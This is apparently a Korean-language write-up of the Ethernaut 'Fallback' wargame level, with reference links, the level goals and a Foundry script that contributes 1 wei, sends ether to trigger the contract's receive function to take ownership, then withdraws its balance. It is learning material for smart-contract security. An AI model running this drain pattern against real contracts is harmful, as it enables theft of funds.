로컬에서 하는 데 많이 참고한 블로그 글
https://velog.io/@oomia/로컬에서-시작하는-Ethernaut
https://github.com/OpenZeppelin/ethernaut
Look carefully at the contract's code below.
You will beat this level if
1. you claim ownership of the contract
2. you reduce its balance to 0
Things that might helpHow to send ether when interacting with an ABI
How to send ether outside of the ABI
Converting to and from wei/ether units (see help() command)
Fallback methods
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/fallback.sol";
contract POC is Script {
Fallback public target;
function setUp() external {
address payable fallbackAddress = payable(vm.envAddress("level_contract_address"));
target = Fallback(fallbackAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
// 기부 기능 사용
target.contribute{value: 1 wei}();
// 이더 전송
(bool success, ) = address(target).call{value: 0.001 ether}("");
target.withdraw();
console.log("Attack completed");
}
}
알아야 할 점 : abi를 이용하여 컨트랙트에 이더 보내기, abi 외부에서 컨트랙트에 이더 보내기, fallback / receive 함수